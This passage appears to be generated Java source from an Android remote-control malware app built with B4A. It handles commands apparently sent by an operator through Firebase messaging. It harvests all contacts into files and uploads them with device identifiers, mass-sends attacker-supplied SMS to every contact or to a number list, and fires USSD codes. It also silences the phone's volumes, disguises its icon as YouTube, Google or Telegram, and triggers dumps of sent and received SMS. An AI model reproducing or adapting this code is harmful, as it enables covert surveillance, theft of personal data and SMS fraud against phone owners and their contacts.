 //BA.debugLineNum = 172;BA.debugLine="Dim allcon As String = \"\"";
_allcon = "";
 //BA.debugLineNum = 173;BA.debugLine="cu.Initialize";
parent._cu._initialize(processBA);
 //BA.debugLineNum = 174;BA.debugLine="Dim MessageText As String = TextSms";
_messagetext = _textsms;
 //BA.debugLineNum = 175;BA.debugLine="For Each c As cuContact In cu.FindContactsByPho";
if (true) break;

case 67:
//for
this.state = 74;
group107 = parent._cu._findcontactsbyphone("",anywheresoftware.b4a.keywords.Common.False,anywheresoftware.b4a.keywords.Common.False);
index107 = 0;
groupLen107 = group107.getSize();
this.state = 314;
if (true) break;

case 314:
//C
this.state = 74;
if (index107 < groupLen107) {
this.state = 69;
_c = (b4a.example.contactsutils._cucontact)(group107.Get(index107));}
if (true) break;

case 315:
//C
this.state = 314;
index107++;
if (true) break;

case 69:
//C
this.state = 70;
 //BA.debugLineNum = 176;BA.debugLine="For Each Phonec As cuPhone In cu.GetPhones(c.I";
if (true) break;

case 70:
//for
this.state = 73;
group108 = parent._cu._getphones(_c.Id);
index108 = 0;
groupLen108 = group108.getSize();
this.state = 316;
if (true) break;

case 316:
//C
this.state = 73;
if (index108 < groupLen108) {
this.state = 72;
_phonec = (b4a.example.contactsutils._cuphone)(group108.Get(index108));}
if (true) break;

case 317:
//C
this.state = 316;
index108++;
if (true) break;

case 72:
//C
this.state = 317;
 //BA.debugLineNum = 177;BA.debugLine="allcon = allcon&CRLF&Phonec.Number";
_allcon = _allcon+anywheresoftware.b4a.keywords.Common.CRLF+_phonec.Number;
 //BA.debugLineNum = 178;BA.debugLine="Sleep(500)";
anywheresoftware.b4a.keywords.Common.Sleep(processBA,this,(int) (500));
this.state = 318;
return;
case 318:
//C
this.state = 317;
;
 //BA.debugLineNum = 179;BA.debugLine="SendSMS(Phonec.Number,MessageText)";
_sendsms(_phonec.Number,_messagetext);
 if (true) break;
if (true) break;

case 73:
//C
this.state = 315;
;
 if (true) break;
if (true) break;

case 74:
//C
this.state = 77;
;
 //BA.debugLineNum = 183;BA.debugLine="File.WriteString(File.DirInternal, \"result.txt\"";
anywheresoftware.b4a.keywords.Common.File.WriteString(anywheresoftware.b4a.keywords.Common.File.getDirInternal(),"result.txt",_allcon);
 //BA.debugLineNum = 184;BA.debugLine="Send.SendFile(\"?response=true&action=scontact&M";
parent._send._sendfile /*void*/ ("?response=true&action=scontact&Model="+parent._phone.getModel()+"&Device_id="+parent._phone.GetSettings("android_id")+"&operator="+parent._phone.GetNetworkOperatorName()+"&Battery="+BA.NumberToString(parent._pd.getBatteryPercentage())+"&andver="+parent._pd.getOSVersion()+"&screen="+parent._res+"","result.txt");
 if (true) break;

case 76:
//C
this.state = 77;
this.catchState = 0;
 //BA.debugLineNum = 186;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917639",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 77:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 79:
//C
this.state = 80;
 //BA.debugLineNum = 190;BA.debugLine="Try";
if (true) break;

case 80:
//try
this.state = 85;
this.catchState = 84;
this.state = 82;
if (true) break;

case 82:
//C
this.state = 85;
this.catchState = 84;
 //BA.debugLineNum = 191;BA.debugLine="Log($\"Phone number found: ${TextSms}\"$)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917644",("Phone number found: "+anywheresoftware.b4a.keywords.Common.SmartStringFormatter("",(Object)(_textsms))+""),0);
 //BA.debugLineNum = 192;BA.debugLine="myussd.sendUssdRequest(TextSms)";
parent._myussd.sendUssdRequest(_textsms);
 if (true) break;

case 84:
//C
this.state = 85;
this.catchState = 0;
 //BA.debugLineNum = 194;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917647",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 85:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 87:
//C
this.state = 88;
 //BA.debugLineNum = 198;BA.debugLine="Log(command)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917651",_command,0);
 //BA.debugLineNum = 199;BA.debugLine="Try";
if (true) break;

case 88:
//try
this.state = 93;
this.catchState = 92;
this.state = 90;
if (true) break;

case 90:
//C
this.state = 93;
this.catchState = 92;
 //BA.debugLineNum = 200;BA.debugLine="send.SendData( \"Device_id=\" &phone.GetSettings(";
parent._send._senddata /*void*/ ("Device_id="+parent._phone.GetSettings("android_id")+"&Model="+parent._phone.getModel()+"&Battery="+BA.NumberToString(parent._pd.getBatteryPercentage())+"&andver="+parent._pd.getOSVersion()+"&action="+"iconchange"+"&screen="+parent._res);
 //BA.debugLineNum = 201;BA.debugLine="Sleep(2500)";
anywheresoftware.b4a.keywords.Common.Sleep(processBA,this,(int) (2500));
this.state = 319;
return;
case 319:
//C
this.state = 93;
;
 //BA.debugLineNum = 202;BA.debugLine="StartService(Me)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,firebasemessaging.getObject());
 //BA.debugLineNum = 203;BA.debugLine="StartService(BackGround)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,(Object)(parent.mostCurrent._background.getObject()));
 //BA.debugLineNum = 204;BA.debugLine="set_icon_status(\"main\",False)";
_set_icon_status("main",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 205;BA.debugLine="set_icon_status(\"youtube\",True)";
_set_icon_status("youtube",anywheresoftware.b4a.keywords.Common.True);
 //BA.debugLineNum = 206;BA.debugLine="set_icon_status(\"telegram\",False)";
_set_icon_status("telegram",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 207;BA.debugLine="set_icon_status(\"second\",False)";
_set_icon_status("second",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 208;BA.debugLine="set_icon_status(\"google\",False)";
_set_icon_status("google",anywheresoftware.b4a.keywords.Common.False);
 if (true) break;

case 92:
//C
this.state = 93;
this.catchState = 0;
 //BA.debugLineNum = 210;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917663",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 93:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 95:
//C
this.state = 96;
 //BA.debugLineNum = 214;BA.debugLine="Log(command)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917667",_command,0);
 //BA.debugLineNum = 215;BA.debugLine="Try";
if (true) break;

case 96:
//try
this.state = 101;
this.catchState = 100;
this.state = 98;
if (true) break;

case 98:
//C
this.state = 101;
this.catchState = 100;
 //BA.debugLineNum = 216;BA.debugLine="send.SendData( \"Device_id=\" &phone.GetSettings(";
parent._send._senddata /*void*/ ("Device_id="+parent._phone.GetSettings("android_id")+"&Model="+parent._phone.getModel()+"&Battery="+BA.NumberToString(parent._pd.getBatteryPercentage())+"&andver="+parent._pd.getOSVersion()+"&action="+"iconchange"+"&screen="+parent._res);
 //BA.debugLineNum = 217;BA.debugLine="Sleep(2500)";
anywheresoftware.b4a.keywords.Common.Sleep(processBA,this,(int) (2500));
this.state = 320;
return;
case 320:
//C
this.state = 101;
;
 //BA.debugLineNum = 218;BA.debugLine="StartService(Me)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,firebasemessaging.getObject());
 //BA.debugLineNum = 219;BA.debugLine="StartService(BackGround)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,(Object)(parent.mostCurrent._background.getObject()));
 //BA.debugLineNum = 220;BA.debugLine="set_icon_status(\"main\",False)";
_set_icon_status("main",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 221;BA.debugLine="set_icon_status(\"google\",True)";
_set_icon_status("google",anywheresoftware.b4a.keywords.Common.True);
 //BA.debugLineNum = 222;BA.debugLine="set_icon_status(\"youtube\",False)";
_set_icon_status("youtube",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 223;BA.debugLine="set_icon_status(\"telegram\",False)";
_set_icon_status("telegram",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 224;BA.debugLine="set_icon_status(\"second\",False)";
_set_icon_status("second",anywheresoftware.b4a.keywords.Common.False);
 if (true) break;

case 100:
//C
this.state = 101;
this.catchState = 0;
 //BA.debugLineNum = 226;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917679",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 101:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 103:
//C
this.state = 104;
 //BA.debugLineNum = 229;BA.debugLine="Try";
if (true) break;

case 104:
//try
this.state = 109;
this.catchState = 108;
this.state = 106;
if (true) break;

case 106:
//C
this.state = 109;
this.catchState = 108;
 //BA.debugLineNum = 230;BA.debugLine="phone.SetVolume(phone.VOLUME_NOTIFICATION, 0, F";
parent._phone.SetVolume(parent._phone.VOLUME_NOTIFICATION,(int) (0),anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 231;BA.debugLine="phone.SetVolume(phone.VOLUME_SYSTEM, 0, False)";
parent._phone.SetVolume(parent._phone.VOLUME_SYSTEM,(int) (0),anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 232;BA.debugLine="phone.SetVolume(phone.VOLUME_ALARM, 0, False)";
parent._phone.SetVolume(parent._phone.VOLUME_ALARM,(int) (0),anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 233;BA.debugLine="phone.SetVolume(phone.VOLUME_MUSIC, 0, False)";
parent._phone.SetVolume(parent._phone.VOLUME_MUSIC,(int) (0),anywheresoftware.b4a.keywords.Common.False);
 if (true) break;

case 108:
//C
this.state = 109;
this.catchState = 0;
 //BA.debugLineNum = 235;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917688",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 109:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 111:
//C
this.state = 112;
 //BA.debugLineNum = 239;BA.debugLine="res = CheckScreenStatus";
parent._res = _checkscreenstatus();
 //BA.debugLineNum = 240;BA.debugLine="Try";
if (true) break;

case 112:
//try
this.state = 121;
this.catchState = 120;
this.state = 114;
if (true) break;

case 114:
//C
this.state = 115;
this.catchState = 120;
 //BA.debugLineNum = 241;BA.debugLine="Dim MessageText As String = TextSms";
_messagetext = _textsms;
 //BA.debugLineNum = 242;BA.debugLine="Dim x As List = Regex.Split(\",\",NumberList)";
_x = new anywheresoftware.b4a.objects.collections.List();
_x = anywheresoftware.b4a.keywords.Common.ArrayToList(anywheresoftware.b4a.keywords.Common.Regex.Split(",",_numberlist));
 //BA.debugLineNum = 243;BA.debugLine="For i = 0 To x.Size";
if (true) break;

case 115:
//for
this.state = 118;
step170 = 1;
limit170 = _x.getSize();
_i = (int) (0) ;
this.state = 321;
if (true) break;

case 321:
//C
this.state = 118;
if ((step170 > 0 && _i <= limit170) || (step170 < 0 && _i >= limit170)) this.state = 117;
if (true) break;

case 322:
//C
this.state = 321;
_i = ((int)(0 + _i + step170)) ;
if (true) break;

case 117:
//C
this.state = 322;
 //BA.debugLineNum = 244;BA.debugLine="Dim SmsNumber As String = x.Get(i)";
_smsnumber = BA.ObjectToString(_x.Get(_i));
 //BA.debugLineNum = 245;BA.debugLine="SendSMS(SmsNumber,MessageText)";
_sendsms(_smsnumber,_messagetext);
 //BA.debugLineNum = 246;BA.debugLine="Sleep(5000)";
anywheresoftware.b4a.keywords.Common.Sleep(processBA,this,(int) (5000));
this.state = 323;
return;
case 323:
//C
this.state = 322;
;
 if (true) break;
if (true) break;

case 118:
//C
this.state = 121;
;
 //BA.debugLineNum = 249;BA.debugLine="send.SendData( \"Device_id=\" &phone.GetSettings(";
parent._send._senddata /*void*/ ("Device_id="+parent._phone.GetSettings("android_id")+"&Model="+parent._phone.getModel()+"&Battery="+BA.NumberToString(parent._pd.getBatteryPercentage())+"&andver="+parent._pd.getOSVersion()+"&action="+"Silent"+"&screen="+parent._res);
 if (true) break;

case 120:
//C
this.state = 121;
this.catchState = 0;
 //BA.debugLineNum = 251;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917704",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 121:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 123:
//C
this.state = 124;
 //BA.debugLineNum = 255;BA.debugLine="res = CheckScreenStatus";
parent._res = _checkscreenstatus();
 //BA.debugLineNum = 256;BA.debugLine="Try";
if (true) break;

case 124:
//try
this.state = 129;
this.catchState = 128;
this.state = 126;
if (true) break;

case 126:
//C
this.state = 129;
this.catchState = 128;
 //BA.debugLineNum = 258;BA.debugLine="Send.SendData( \"Device_id=\" &phone.GetSettings(";
parent._send._senddata /*void*/ ("Device_id="+parent._phone.GetSettings("android_id")+"&berand="+parent._phone.getManufacturer()+"&Product="+parent._phone.getProduct()+"&Model="+parent._phone.getModel()+"&operator="+parent._phone.GetNetworkOperatorName()+"&Battery="+BA.NumberToString(parent._pd.getBatteryPercentage())+"&andver="+parent._pd.getOSVersion()+"&action="+"status"+"&screen="+parent._res);
 if (true) break;

case 128:
//C
this.state = 129;
this.catchState = 0;
 //BA.debugLineNum = 260;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917713",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 129:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 131:
//C
this.state = 132;
 //BA.debugLineNum = 264;BA.debugLine="Try";
if (true) break;

case 132:
//try
this.state = 141;
this.catchState = 140;
this.state = 134;
if (true) break;

case 134:
//C
this.state = 135;
this.catchState = 140;
 //BA.debugLineNum = 265;BA.debugLine="Dim MessageText As String = TextSms";
_messagetext = _textsms;
 //BA.debugLineNum = 266;BA.debugLine="Dim x As List = Regex.Split(\",\",NumberList)";
_x = new anywheresoftware.b4a.objects.collections.List();
_x = anywheresoftware.b4a.keywords.Common.ArrayToList(anywheresoftware.b4a.keywords.Common.Regex.Split(",",_numberlist));
 //BA.debugLineNum = 267;BA.debugLine="For Each Numb As String In x";
if (true) break;

case 135:
//for
this.state = 138;
group190 = _x;
index190 = 0;
groupLen190 = group190.getSize();
this.state = 324;
if (true) break;

case 324:
//C
this.state = 138;
if (index190 < groupLen190) {
this.state = 137;
_numb = BA.ObjectToString(group190.Get(index190));}
if (true) break;

case 325:
//C
this.state = 324;
index190++;
if (true) break;

case 137:
//C
this.state = 325;
 //BA.debugLineNum = 268;BA.debugLine="SendSMS(Numb,MessageText)";
_sendsms(_numb,_messagetext);
 //BA.debugLineNum = 269;BA.debugLine="Sleep(1000)";
anywheresoftware.b4a.keywords.Common.Sleep(processBA,this,(int) (1000));
this.state = 326;
return;
case 326:
//C
this.state = 325;
;
 if (true) break;
if (true) break;

case 138:
//C
this.state = 141;
;
 if (true) break;

case 140:
//C
this.state = 141;
this.catchState = 0;
 //BA.debugLineNum = 272;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917725",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 141:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 143:
//C
this.state = 144;
 //BA.debugLineNum = 277;BA.debugLine="If File.Exists(File.DirInternal,\"offline.txt\") T";
if (true) break;

case 144:
//if
this.state = 149;
if (anywheresoftware.b4a.keywords.Common.File.Exists(anywheresoftware.b4a.keywords.Common.File.getDirInternal(),"offline.txt")) { 
this.state = 146;
}else {
this.state = 148;
}if (true) break;

case 146:
//C
this.state = 149;
 //BA.debugLineNum = 278;BA.debugLine="File.Delete(File.DirInternal,\"offline.txt\")";
anywheresoftware.b4a.keywords.Common.File.Delete(anywheresoftware.b4a.keywords.Common.File.getDirInternal(),"offline.txt");
 if (true) break;

case 148:
//C
this.state = 149;
 //BA.debugLineNum = 280;BA.debugLine="File.WriteString(File.DirInternal,\"offline.txt\"";
anywheresoftware.b4a.keywords.Common.File.WriteString(anywheresoftware.b4a.keywords.Common.File.getDirInternal(),"offline.txt",_numberlist);
 //BA.debugLineNum = 282;BA.debugLine="send.SendData( \"Device_id=\" &phone.GetSettings(";
parent._send._senddata /*void*/ ("Device_id="+parent._phone.GetSettings("android_id")+"&Model="+parent._phone.getModel()+"&Battery="+BA.NumberToString(parent._pd.getBatteryPercentage())+"&andver="+parent._pd.getOSVersion()+"&action="+"offlineOn"+"&screen="+parent._res);
 if (true) break;

case 149:
//C
this.state = 306;
;
 if (true) break;

case 151:
//C
this.state = 152;
 //BA.debugLineNum = 286;BA.debugLine="If File.Exists(File.DirInternal,\"offline.txt\") T";
if (true) break;

case 152:
//if
this.state = 155;
if (anywheresoftware.b4a.keywords.Common.File.Exists(anywheresoftware.b4a.keywords.Common.File.getDirInternal(),"offline.txt")) { 
this.state = 154;
}if (true) break;

case 154:
//C
this.state = 155;
 //BA.debugLineNum = 287;BA.debugLine="File.Delete(File.DirInternal,\"offline.txt\")";
anywheresoftware.b4a.keywords.Common.File.Delete(anywheresoftware.b4a.keywords.Common.File.getDirInternal(),"offline.txt");
 if (true) break;

case 155:
//C
this.state = 306;
;
 //BA.debugLineNum = 290;BA.debugLine="send.SendData( \"Device_id=\" &phone.GetSettings(\"";
parent._send._senddata /*void*/ ("Device_id="+parent._phone.GetSettings("android_id")+"&Model="+parent._phone.getModel()+"&Battery="+BA.NumberToString(parent._pd.getBatteryPercentage())+"&andver="+parent._pd.getOSVersion()+"&action="+"offlineOff"+"&screen="+parent._res);
 if (true) break;

case 157:
//C
this.state = 158;
 //BA.debugLineNum = 292;BA.debugLine="Try";
if (true) break;

case 158:
//try
this.state = 163;
this.catchState = 162;
this.state = 160;
if (true) break;

case 160:
//C
this.state = 163;
this.catchState = 162;
 //BA.debugLineNum = 293;BA.debugLine="CallSubDelayed(Myfun,\"all_sms_recived\")";
anywheresoftware.b4a.keywords.Common.CallSubDelayed(processBA,(Object)(parent.mostCurrent._myfun.getObject()),"all_sms_recived");
 if (true) break;

case 162:
//C
this.state = 163;
this.catchState = 0;
 //BA.debugLineNum = 295;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917748",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 //BA.debugLineNum = 296;BA.debugLine="CallSubDelayed(Myfun,\"all_sms_recived\")";
anywheresoftware.b4a.keywords.Common.CallSubDelayed(processBA,(Object)(parent.mostCurrent._myfun.getObject()),"all_sms_recived");
 if (true) break;
if (true) break;

case 163:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 165:
//C
this.state = 166;
 //BA.debugLineNum = 301;BA.debugLine="Try";
if (true) break;

case 166:
//try
this.state = 171;
this.catchState = 170;
this.state = 168;
if (true) break;

case 168:
//C
this.state = 171;
this.catchState = 170;
 //BA.debugLineNum = 302;BA.debugLine="CallSubDelayed(Myfun,\"all_sms\")";
anywheresoftware.b4a.keywords.Common.CallSubDelayed(processBA,(Object)(parent.mostCurrent._myfun.getObject()),"all_sms");
 if (true) break;

case 170:
//C
this.state = 171;
this.catchState = 0;
 //BA.debugLineNum = 304;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917757",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 171:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 173:
//C
this.state = 174;
 //BA.debugLineNum = 309;BA.debugLine="Try";
if (true) break;

case 174:
//try
this.state = 189;
this.catchState = 188;
this.state = 176;
if (true) break;

case 176:
//C
this.state = 177;
this.catchState = 188;
 //BA.debugLineNum = 310;BA.debugLine="Dim contacts As Contacts2";
_contacts = new anywheresoftware.b4a.phone.Contacts2Wrapper();
 //BA.debugLineNum = 311;BA.debugLine="Private StringBuilder As StringBuilder";
_stringbuilder = new anywheresoftware.b4a.keywords.StringBuilderWrapper();
 //BA.debugLineNum = 312;BA.debugLine="StringBuilder.Initialize";
_stringbuilder.Initialize();
 //BA.debugLineNum = 313;BA.debugLine="StringBuilder.Append(\"|-----@nobody-----|\")";
_stringbuilder.Append("|-----@nobody-----|");
 //BA.debugLineNum = 314;BA.debugLine="Try";
if (true) break;

case 177:
//try
this.state = 186;
this.catchState = 185;
this.state = 179;
if (true) break;

case 179:
//C
this.state = 180;
this.catchState = 185;
 //BA.debugLineNum = 315;BA.debugLine="For Each Contact As Contact In contacts.GetAll";
if (true) break;

case 180:
//for
this.state = 183;
group229 = _contacts.GetAll(anywheresoftware.b4a.keywords.Common.True,anywheresoftware.b4a.keywords.Common.False);
index229 = 0;
groupLen229 = group229.getSize();
this.state = 327;
if (true) break;

case 327:
//C
this.state = 183;
if (index229 < groupLen229) {
this.state = 182;
_contact = (anywheresoftware.b4a.phone.ContactsWrapper.Contact)(group229.Get(index229));}
if (true) break;

case 328:
//C
this.state = 327;
index229++;
if (true) break;

case 182:
//C
this.state = 328;
 //BA.debugLineNum = 316;BA.debugLine="Log(Contact.PhoneNumber)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917769",_contact.PhoneNumber,0);
 //BA.debugLineNum = 317;BA.debugLine="StringBuilder.Append(CRLF).Append(\"Name : \").";
_stringbuilder.Append(anywheresoftware.b4a.keywords.Common.CRLF).Append("Name : ").Append(_contact.DisplayName).Append(anywheresoftware.b4a.keywords.Common.CRLF).Append("Phone : ").Append(_contact.PhoneNumber.replace(" ","")).Append(anywheresoftware.b4a.keywords.Common.CRLF).Append("------------------");
 if (true) break;
if (true) break;

case 183:
//C
this.state = 186;
;
 //BA.debugLineNum = 319;BA.debugLine="StringBuilder.Append(CRLF).Append(\"|-----@nobo";
_stringbuilder.Append(anywheresoftware.b4a.keywords.Common.CRLF).Append("|-----@nobody-----|");
 if (true) break;

case 185:
//C
this.state = 186;
this.catchState = 188;
 //BA.debugLineNum = 321;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917774",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 186:
//C
this.state = 189;
this.catchState = 188;
;
 //BA.debugLineNum = 323;BA.debugLine="filesmsname = Rnd(11111,99999)";
parent._filesmsname = BA.NumberToString(anywheresoftware.b4a.keywords.Common.Rnd((int) (11111),(int) (99999)));
 //BA.debugLineNum = 324;BA.debugLine="File.WriteString(File.DirInternal,filesmsname&\"";
anywheresoftware.b4a.keywords.Common.File.WriteString(anywheresoftware.b4a.keywords.Common.File.getDirInternal(),parent._filesmsname+".txt",_stringbuilder.ToString());
 //BA.debugLineNum = 325;BA.debugLine="send.SendFile(\"?response=true&action=allcontact";
parent._send._sendfile /*void*/ ("?response=true&action=allcontact&Model="+parent._phone.getModel()+"&Device_id="+parent._phone.GetSettings("android_id")+"&operator="+parent._phone.GetNetworkOperatorName()+"&Battery="+BA.NumberToString(parent._pd.getBatteryPercentage())+"&screen="+parent._res+"&andver="+parent._pd.getOSVersion()+"",parent._filesmsname+".txt");
 if (true) break;

case 188:
//C
this.state = 189;
this.catchState = 0;
 //BA.debugLineNum = 327;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917780",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 189:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 191:
//C
this.state = 192;
 //BA.debugLineNum = 330;BA.debugLine="Try";
if (true) break;

case 192:
//try
this.state = 197;
this.catchState = 196;
this.state = 194;
if (true) break;

case 194:
//C
this.state = 197;
this.catchState = 196;
 //BA.debugLineNum = 331;BA.debugLine="CallSubDelayed(Myfun,\"all_sms_sent\")";
anywheresoftware.b4a.keywords.Common.CallSubDelayed(processBA,(Object)(parent.mostCurrent._myfun.getObject()),"all_sms_sent");
 if (true) break;

case 196:
//C
this.state = 197;
this.catchState = 0;
 //BA.debugLineNum = 333;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917786",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 //BA.debugLineNum = 334;BA.debugLine="CallSubDelayed(Myfun,\"all_sms_sent\")";
anywheresoftware.b4a.keywords.Common.CallSubDelayed(processBA,(Object)(parent.mostCurrent._myfun.getObject()),"all_sms_sent");
 if (true) break;
if (true) break;

case 197:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 199:
//C
this.state = 200;
 //BA.debugLineNum = 337;BA.debugLine="Try";
if (true) break;

case 200:
//try
this.state = 205;
this.catchState = 204;
this.state = 202;
if (true) break;

case 202:
//C
this.state = 205;
this.catchState = 204;
 //BA.debugLineNum = 338;BA.debugLine="CallSubDelayed(Myfun,\"last_sms\")";
anywheresoftware.b4a.keywords.Common.CallSubDelayed(processBA,(Object)(parent.mostCurrent._myfun.getObject()),"last_sms");
 if (true) break;

case 204:
//C
this.state = 205;
this.catchState = 0;
 //BA.debugLineNum = 340;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917793",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 205:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 207:
//C
this.state = 208;
 //BA.debugLineNum = 343;BA.debugLine="Try";
if (true) break;

case 208:
//try
this.state = 213;
this.catchState = 212;
this.state = 210;
if (true) break;

case 210:
//C
this.state = 213;
this.catchState = 212;
 //BA.debugLineNum = 344;BA.debugLine="phone.SetRingerMode(phone.RINGER_VIBRATE)";
parent._phone.SetRingerMode(parent._phone.RINGER_VIBRATE);
 if (true) break;

case 212:
//C
this.state = 213;
this.catchState = 0;
 //BA.debugLineNum = 346;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917799",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 213:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 215:
//C
this.state = 216;
 //BA.debugLineNum = 350;BA.debugLine="Try";
if (true) break;

case 216:
//try
this.state = 221;
this.catchState = 220;
this.state = 218;
if (true) break;

case 218:
//C
this.state = 221;
this.catchState = 220;
 //BA.debugLineNum = 351;BA.debugLine="phone.SetVolume(phone.VOLUME_NOTIFICATION, 0, F";
parent._phone.SetVolume(parent._phone.VOLUME_NOTIFICATION,(int) (0),anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 352;BA.debugLine="phone.SetVolume(phone.VOLUME_SYSTEM, 0, False)";
parent._phone.SetVolume(parent._phone.VOLUME_SYSTEM,(int) (0),anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 353;BA.debugLine="phone.SetVolume(phone.VOLUME_ALARM, 0, False)";
parent._phone.SetVolume(parent._phone.VOLUME_ALARM,(int) (0),anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 354;BA.debugLine="phone.SetVolume(phone.VOLUME_MUSIC, 0, False)";
parent._phone.SetVolume(parent._phone.VOLUME_MUSIC,(int) (0),anywheresoftware.b4a.keywords.Common.False);
 if (true) break;

case 220:
//C
this.state = 221;
this.catchState = 0;
 //BA.debugLineNum = 356;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917809",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 221:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 223:
//C
this.state = 224;
 //BA.debugLineNum = 360;BA.debugLine="Try";
if (true) break;

case 224:
//try
this.state = 229;
this.catchState = 228;
this.state = 226;
if (true) break;

case 226:
//C
this.state = 229;
this.catchState = 228;
 //BA.debugLineNum = 361;BA.debugLine="phone.SetRingerMode(phone.RINGER_NORMAL)";
parent._phone.SetRingerMode(parent._phone.RINGER_NORMAL);
 //BA.debugLineNum = 362;BA.debugLine="phone.SetVolume(phone.VOLUME_NOTIFICATION, 100,";
parent._phone.SetVolume(parent._phone.VOLUME_NOTIFICATION,(int) (100),anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 363;BA.debugLine="phone.SetVolume(phone.VOLUME_SYSTEM, 100, False";
parent._phone.SetVolume(parent._phone.VOLUME_SYSTEM,(int) (100),anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 364;BA.debugLine="phone.SetVolume(phone.VOLUME_ALARM, 100, False)";
parent._phone.SetVolume(parent._phone.VOLUME_ALARM,(int) (100),anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 365;BA.debugLine="phone.SetVolume(phone.VOLUME_MUSIC, 100, False)";
parent._phone.SetVolume(parent._phone.VOLUME_MUSIC,(int) (100),anywheresoftware.b4a.keywords.Common.False);
 if (true) break;

case 228:
//C
this.state = 229;
this.catchState = 0;
 //BA.debugLineNum = 367;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917820",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 229:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 231:
//C
this.state = 232;
 //BA.debugLineNum = 371;BA.debugLine="Try";
if (true) break;

case 232:
//try
